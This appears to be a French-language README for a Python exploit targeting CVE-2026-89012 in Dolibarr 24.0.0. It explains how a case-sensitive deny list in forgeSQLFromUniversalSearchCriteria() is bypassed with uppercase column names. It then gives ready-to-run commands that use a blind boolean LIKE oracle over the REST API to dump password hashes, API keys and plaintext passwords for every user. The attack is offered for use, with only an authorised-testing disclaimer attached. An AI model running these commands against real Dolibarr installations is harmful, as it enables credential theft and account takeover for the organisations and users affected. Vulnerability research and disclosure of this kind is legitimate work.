
Exploit Python pour CVE-2026-89012, un contournement de la liste de refus des filtres SQL de Dolibarr qui utilise un oracle booléen aveugle pour extraire les hachages de mots de passe et les clés API via l'API REST.
Exploit pour CVE-2026-89012 : la liste de refus des champs interdits dans
forgeSQLFromUniversalSearchCriteria() (introduite avec le correctif CVE-2026-71510)
utilise un in_array() sensible à la casse alors que le jeu de caractères des opérandes autorise A-Z.
Comme la résolution des colonnes SQL est insensible à la casse, un utilisateur API authentifié peut
interroger t.PASS_CRYPTED au lieu de t.pass_crypted et contourner la liste de refus.
Les prédicats LIKE en préfixe transforment sqlfilters en un oracle booléen aveugle qui
récupère les hachages de mots de passe caractère par caractère.
Enregistrement : https://www.cve.org/CVERecord?id=CVE-2026-89012
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) { // case-sensitive
return '1=1';
}
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check
# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users
# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump
# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex
Bibliothèque standard uniquement (Python 3.8+). Prend en charge --proxy, --insecure, --timeout.
Remarque : sous un collationnement insensible à la casse (celui par défaut), la valeur bcrypt est
récupérée exactement à la casse des caractères près ; les colonnes en clair (llx_adherent.pass
via /api/index.php/members, pass_temp) sont récupérées octet par octet.

Pour les tests et la recherche autorisés uniquement. À utiliser uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.
| Affecté | Dolibarr 24.0.0 |
| Corrigé | 24.0.1 |
| Prérequis | jeton API valide avec users->lire |
| Impact | divulgation de pass_crypted, api_key, pass, pass_temp, openid |